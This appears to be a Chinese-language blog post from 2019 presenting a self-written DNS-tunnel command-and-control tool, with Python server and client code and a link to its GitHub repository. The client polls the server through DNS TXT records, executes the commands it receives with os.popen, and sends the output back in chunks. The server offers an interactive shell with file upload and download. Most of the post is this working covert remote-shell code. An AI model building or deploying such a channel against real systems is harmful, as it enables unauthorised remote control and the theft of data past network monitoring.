一个很像cxk的dns_c2

  1. 前言
  2. 思路
  3. 实现他
  4. 测试截图

前言

算是一个很像cxk的东西,有个BUG一直解决不了
而且还时不时的像报错。。。。emmmm

思路

五一之前在sec-wiki看到某文章
传送门:DNS Tunnel隧道隐蔽通信实验 && 尝试复现特征向量化思维方式检测
根据文章所描述的,我这个c2应该属于第一种

我在写之前上GitHub搜了一下dns shell找到了一个不错的项目
传送门:DNS_Shell

根据上面项目所用到的东西

dnslib模块 --- 处理dns包
dnspython --- 发送dns请求

当然你也可以用scapy手动构造一个dns的数据包然后在发送出去….

项目里面接收dns包的时候是用socket创建一个UDP,然后监听53端口,监听数据
获取到的数据使用dnslib,模块进行解包便可获得想要的数据

dns_shell算是个反向shell,必须由客户端发送请求。服务端回应该数据
虽然写的时候有点困难。我是实现第一种c2,使用的是TXT记录类型。TXT类型有限制数据不能大于63个字节
所以必须得分段发送

实现他

Server端
解dns包的函数

    def dnsj(self,data):
        dr=dnslib.DNSRecord.parse(data) #dns数据包转换
        answer=dr.reply() #获取全部数据
        return answer,dr.questions[0].qname.label[0] #获取请求前的dns包和指定数据

打包为dns包的函数

    def dnsc(self,answer,data):
        answer.add_answer(*dnslib.RR.fromZone('{}.com 60 TXT'.format(data)))
        return answer

主要函数

 global s,address
        he = ['cmd--->命令行交互','upload--->文件上传','download--->文件下载','exit--->退出']
        hps={'cmd': self.cmd,'upload':self.upload,'download':self.download,'exit':exit}
        s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        s.bind((self.host,int(self.port)))
        data,address=s.recvfrom(1024)
        print('[+] 来源IP:{},来源端口:{}'.format(address[0],address[1]))
        dnsj=self.dnsj(data)
        demo=self.jiemi(dnsj[1])
        if demo:
            print('[+] {}:{}<---->{}:{}'.format(self.host,self.port,address[0],address[1]))
            print('+请执行你的操作,如果有问题请输入help')
            demos=self.jiami('demo')
            fs=self.dnsc(dnsj[0],demos)
            s.sendto(fs.pack(),address)
            while True:
                xw=input('Jarvis:')
                if xw in hps:
                    try:
                        hps[xw]()
                    except Exception as r:
                        print('-- Error:{}'.format(r))
                elif xw=='help':
                    print('')
                    for h in he:
                        print(h)
                else:
                    print('-没有这种操作')
                    continue

Client端
主要函数

 def beikon(self):
        hk={'cmd':self.cmd,'upload':self.upload,'download':self.download}
        demo='demo'
        demo=self.jiami(demo)
        bbc=self.fs(demo)
        kk=self.zz(bbc)
        jm=self.jiemi(kk.encode('utf-8'))
        if jm:
            while True:
                try:
                    g='ok'
                    demo = self.jiami(g)
                    bbc = self.fs(demo)
                    kk = self.zz(bbc)
                    jm = self.jiemi(kk.encode('utf-8'))
                    if jm in hk:
                        hk[jm]()
                except:
                    pass

对应功能对照的函数
命令行交互
server端

 def cmd(self):
        self.ok('cmd')
        while True:
            jb, jc = s.recvfrom(1024)
            dnsj = self.dnsj(jb)
            demo = self.jiemi(dnsj[1])
            if demo!='cmd' and demo !='long':
                print(demo)
                demos = self.jiami('cmd')
                fs = self.dnsc(dnsj[0], demos)
                s.sendto(fs.pack(), jc)
            elif demo=='long':
                changdu=0
                jg=b''
                demos = self.jiami('long')
                fs = self.dnsc(dnsj[0], demos)
                s.sendto(fs.pack(), jc)

                c,d= s.recvfrom(1024)
                dnsj = self.dnsj(c)
                demo=self.jiemi(dnsj[1])
                if str(demo).isdigit()==True:
                    changdu+=int(demo)
                print(changdu)
                demos = self.jiami('{}'.format(changdu))
                fs = self.dnsc(dnsj[0], demos)
                s.sendto(fs.pack(), d)
                while True:
                    d,e = s.recvfrom(1024)
                    dnsj = self.dnsj(d)
                    jg+=dnsj[1]
                    if len(jg)==changdu:
                        jmk=self.jiemi(jg)
                        print(jmk)
                        fs = self.dnsc(dnsj[0], 'break')
                        s.sendto(fs.pack(), e)
                        break
                    demos = self.jiami('jx')
                    fs = self.dnsc(dnsj[0], demos)
                    s.sendto(fs.pack(), e)

            else:
                shell=input('Jarvis_shell:')
                if shell=='exit':
                    demos = self.jiami('exit')
                    fs = self.dnsc(dnsj[0], demos)
                    s.sendto(fs.pack(), jc)
                    break
                demos = self.jiami(shell)
                fs = self.dnsc(dnsj[0], demos)
                s.sendto(fs.pack(), jc)


client端

    def cmd(self):
        while True:
            g='cmd'
            demo = self.jiami(g)
            bbc = self.fs(demo)
            kk = self.zz(bbc)
            jm = self.jiemi(kk.encode('utf-8'))
            if jm == 'exit':
                break
            else:
                zx=os.popen(jm)
                if zx:
                    g=zx.read()
                    demos = self.jiami(g)
                    if len(demos)<64:
                        if len(demos)==0:
                            demos=self.jiami(jm)
                        bbc = self.fs(demos)
                        kk = self.zz(bbc)
                        jm = self.jiemi(kk.encode('utf-8'))
                        if jm:
                            continue
                    else:
                        g='long'
                        demo = self.jiami(g)
                        bbc = self.fs(demo)
                        kk = self.zz(bbc)
                        jm = self.jiemi(kk.encode('utf-8'))
                        if jm:
                            g = len(demos)
                            demo = self.jiami(g)
                            bbc = self.fs(demo)
                            kk = self.zz(bbc)
                            jm = self.jiemi(kk.encode('utf-8'))
                            if jm:
                                b=0
                                e=32
                                for u in demos:
                                    g=demos[b:e]
                                    b+=32
                                    e+=32
                                    bbc=self.fs(g)
                                    kk = self.zz(bbc)
                                    if kk=='break':
                                        break

仓库地址:https://github.com/422926799/python/tree/master/dns_c2

测试截图

抓包截图

转载请声明:转自422926799.github.io


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

文章标题:一个很像cxk的dns_c2

本文作者:九世

发布时间:2019-05-02, 21:11:11

最后更新:2019-05-02, 23:14:50

原始链接:http://422926799.github.io/posts/126651c2.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录